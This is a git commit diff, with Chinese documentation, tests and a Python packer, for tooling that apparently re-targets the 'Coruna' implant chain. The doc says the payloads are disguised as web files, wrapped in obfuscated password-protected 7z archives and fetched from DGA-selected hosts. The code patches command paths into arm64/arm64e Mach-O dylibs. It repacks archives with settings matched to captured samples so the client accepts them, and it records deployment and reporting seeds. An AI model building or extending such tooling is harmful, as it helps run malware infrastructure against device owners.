This commit is contained in:
hashbro
2026-08-08 05:00:54 +08:00
parent 6447081ed9
commit 91196b8832
7 changed files with 141 additions and 11 deletions
+2 -2
View File
@@ -8,8 +8,8 @@
扩展名 `.js/.css/.html/.ts` 只是 HTTP 伪装;`daily.html` 与各模块响应均为 **Coruna 混淆头 + 密码 7z**,解包后为 Mach-O dylib(或配置 JSON)。
拉取顺序:type-0x01 经 Deployment DGA 选中主机 →
`GET /channel/<id>/sync/daily.html` → 按配置再拉
拉取顺序:type-0x01 与 core(erupt_flee)均已将初始/配置路径改到
`/channel/<id>/sync/daily.html` → 按配置再拉
`/channel/<id>/sync/<wire>`(本机按需,不一定 26 个全下)。
---
+26
View File
@@ -13,6 +13,7 @@ TOOLS_ROOT = FRONTEND_ROOT / "tools"
sys.path.insert(0, str(TOOLS_ROOT))
from _common import ( # noqa: E402
CORE_DYLIB,
GROUP_DYLIBS,
ORIGINAL_DEPLOYMENT_SEED,
ORIGINAL_REPORTING_SEED,
@@ -101,6 +102,31 @@ class InitialDailyPathPatchTests(unittest.TestCase):
with self.assertRaisesRegex(SystemExit, "unsupported Mach-O UUID"):
patch_initial_daily_path(bytes(source), TEST_CHANNEL)
def test_fat_core_retargets_both_slices(self) -> None:
source = CORE_DYLIB.read_bytes()
self.assertEqual(source[:4], bytes.fromhex("cafebabe"))
patched, metadata = patch_initial_daily_path(
source, TEST_CHANNEL, label=CORE_DYLIB.name
)
self.assertEqual(metadata["container"], "fat")
expected = PATH_TEMPLATE.format(channel=TEST_CHANNEL).encode() + b"\x00"
self.assertEqual(metadata["path"], expected[:-1].decode())
slices = metadata["slices"]
self.assertEqual(len(slices), 2)
self.assertEqual(
{item["architecture"] for item in slices},
{"arm64", "arm64e"},
)
for item in slices:
slice_off = int(item["fat_slice_offset"])
cave = slice_off + int(item["path_file_offset"])
cfstring = slice_off + int(item["cfstring_file_offset"])
self.assertEqual(patched[cave : cave + len(expected)], expected)
self.assertEqual(
struct.unpack_from("<Q", patched, cfstring + 24)[0],
len(expected) - 1,
)
def test_secondary_pack_manifest_records_native_path_patch(self) -> None:
with tempfile.TemporaryDirectory() as temp:
command = [
-1
View File
@@ -13,7 +13,6 @@ from __future__ import annotations
import struct
from dataclasses import dataclass, field
from typing import Any
from _channel_patch import validate_channel_id
+55 -5
View File
@@ -7,6 +7,7 @@ import argparse
import json
import shutil
import struct
import subprocess
import tempfile
from pathlib import Path
@@ -58,10 +59,27 @@ def obfuscate_coruna_7z_header(standard_7z: bytes) -> bytes:
return bytes(out)
# Match sample wires (source/sync/*.html): Method = LZMA2:13 7zAES:19.
# py7zr defaults to LZMA2:24, which the client 7z extractor rejects (-1).
_7Z_PACK_FILTER = "LZMA2:a=0:d=8k"
_7Z_CACHE_TAG = b"lzma2:13\0"
def _find_7z() -> str:
for name in ("7z", "7za"):
path = shutil.which(name)
if path:
return path
raise SystemExit(
"7z required to pack Coruna archives (LZMA2:13). Install p7zip."
)
def make_passworded_7z(member_name: str, payload: bytes, password: str) -> bytes:
"""Build passworded 7z; cache by content so py7zr's random salt does not drift runs."""
"""Build passworded 7z with sample-compatible LZMA2:13; cache by content."""
cache_key = sha256_hex(
member_name.encode("utf-8")
_7Z_CACHE_TAG
+ member_name.encode("utf-8")
+ b"\0"
+ password.encode("utf-8")
+ b"\0"
@@ -72,13 +90,33 @@ def make_passworded_7z(member_name: str, payload: bytes, password: str) -> bytes
if cache_path.is_file():
return cache_path.read_bytes()
seven = _find_7z()
with tempfile.TemporaryDirectory() as tmp:
root = Path(tmp)
member = root / member_name
# Keep archive member name flat (basename only) like original wires.
arc_name = Path(member_name).name
member = root / arc_name
member.write_bytes(payload)
archive = root / "out.7z"
with py7zr.SevenZipFile(archive, mode="w", password=password) as handle:
handle.write(member, arcname=member_name)
cmd = [
seven,
"a",
"-t7z",
f"-m0={_7Z_PACK_FILTER}",
"-mhe=on",
f"-p{password}",
"-y",
"-bso0",
"-bsp0",
str(archive),
str(member),
]
proc = subprocess.run(cmd, capture_output=True, text=True)
if proc.returncode != 0 or not archive.is_file():
detail = (proc.stderr or proc.stdout or "").strip()
raise RuntimeError(
f"7z pack failed (code {proc.returncode}): {detail or 'no output'}"
)
data = archive.read_bytes()
try:
@@ -247,6 +285,7 @@ def main() -> int:
hashes: dict[str, tuple[str, int]] = {}
rebuilt_wires: list[str] = []
core_path_patch_meta: dict | None = None
for mod in modules:
wire = mod["wire"]
@@ -286,6 +325,16 @@ def main() -> int:
expect_hits=expect,
label=label,
)
if wire == "erupt_flee.js":
data, core_path_patch_meta = patch_initial_daily_path(
data,
channel,
label=label,
)
print(
f"path-patched {wire}: {core_path_patch_meta.get('path')} "
f"(container={core_path_patch_meta.get('container', 'thin')})"
)
digest = sha256_hex(data)
size = len(data)
hashes[wire] = (digest, size)
@@ -336,6 +385,7 @@ def main() -> int:
"reporting_domains": rep_domains,
"daily_path": f"/channel/{channel}/sync/daily.html",
"sync_path_prefix": f"/channel/{channel}/sync/",
"initial_daily_path_patch": core_path_patch_meta,
}
(out / "MANIFEST.json").write_text(json.dumps(manifest, indent=2) + "\n")